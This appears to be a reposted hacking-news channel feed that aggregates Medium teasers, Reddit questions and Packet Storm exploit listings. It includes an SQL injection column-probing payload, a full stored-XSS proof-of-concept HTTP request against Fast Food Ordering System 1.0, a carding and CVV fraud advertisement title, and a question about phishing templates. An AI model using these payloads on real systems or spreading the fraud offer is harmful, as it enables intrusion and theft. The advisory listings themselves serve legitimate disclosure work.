Hacking on Medium
Service Scanning with NMAP Ethical Hacking

Learn full course on Tronlite Technology

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How To Become A Pentester?

Cybersecurity is critical for maintaining the security of a company’s network,
system, and other essential properties. Penetration testing…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
BITCOINS 100% LEGIT QUICk Cashapp WESTERN UNI PAYPAL BANKS TRANSFER CASHAPP LOADS CC AND ATM CVV…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
upcoming conferences pt. 2

HOPE (Hackers on Planet Earth) | July 22–24 |NYC

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nuevo 0-Day de Microsoft Office utilizado en ataques para ejecutar PowerShell

https://cdn-images-1.medium.com/max/1720/0*0432OxYvQrfJmO77
PUBLICADO EN 31 MAYO, 2022 EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Puzzled With this SQL injection

I'm practicing SQL injection, and I am using burpsuite. In a website, I am trying to find out the number of columns, and so I am using a command like: '+ORDER+BY+1/* However, no matter how many times I increment the number by, I am still getting a '200 okay'. Surely this site cannot have infinite columns, so I can only assume that I'm doing something wrong. Does anyone have any suggestions?

submitted by /u/Queer_Gerblin
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
HackTheBox - Sequel Walkthrough

https://external-preview.redd.it/uyJnciJN-JnnojMRWvHZPbljqfxhadC784kYGkDFNIU.jpg?width=320&crop=smart&auto=webp&s=e1d2457f07c9d4f56977bcfbbd7ab7cfbc64400f submitted by /u/Zedark
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Where do phishers typically get LinkedIn email templates?

I don't want to do this, I was just curious cause editing the html of a real LinkedIn email would be a nightmare since it is so much code.

submitted by /u/bee4534
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fast Food Ordering System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
Fast Food Ordering System version 1.0 suffers from a persistent cross site scripting vulnerability.

SHA-256 | f7e3bfe2b6055902c2854c036cbb8c36e7bf630d5e1d2ceaaf2629e5cb4d4c8d

Download
## Title: Fast Food Ordering System 1.0 Stored Cross-Site Scripting
## Author: Ashish Kumar
## Date: 05.31.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software:
https://www.sourcecodester.com/php/15366/fast-food-ordering-system-phpoop-free-source-code.html
## Reference:
https://medium.com/@cyberthoth/fast-food-ordering-system-1-0-cross-site-scripting-7927f4b1edd6

#Description：
#The Line 255 of Master.php sends unvalidated data to a web browser, which
can result in the browser executing malicious code.

#echo $Master->save_category();

#PoC：
POST /ffos/classes/Master.php?f=save_category HTTP/1.1
Host: localhost
Content-Length: 480
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarySmYVeqOBMhcSziZM
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/ffos/admin/?page=categories
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=junl7tbvb7hvrdeq776aislbcj
Connection: close

------WebKitFormBoundarySmYVeqOBMhcSziZM
Content-Disposition: form-data; name="id"

10
------WebKitFormBoundarySmYVeqOBMhcSziZM
Content-Disposition: form-data; name="name"

XSS
------WebKitFormBoundarySmYVeqOBMhcSziZM
Content-Disposition: form-data; name="description"

Testing XSS ">
------WebKitFormBoundarySmYVeqOBMhcSziZM
Content-Disposition: form-data; name="status"

1
------WebKitFormBoundarySmYVeqOBMhcSziZM--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Follina Proof Of Concept

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
Proof of concept exploit for the Microsoft Windows Support Diagnostic Tool (MSDT) remote code execution vulnerability dubbed Follina.

SHA-256 | 21dda01f8e88aa4687f62848057799f68aeaf508af81b73f3368b5656c8f92fe

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Office MSDT Follina Proof Of Concept

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MyBB Admin Control Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video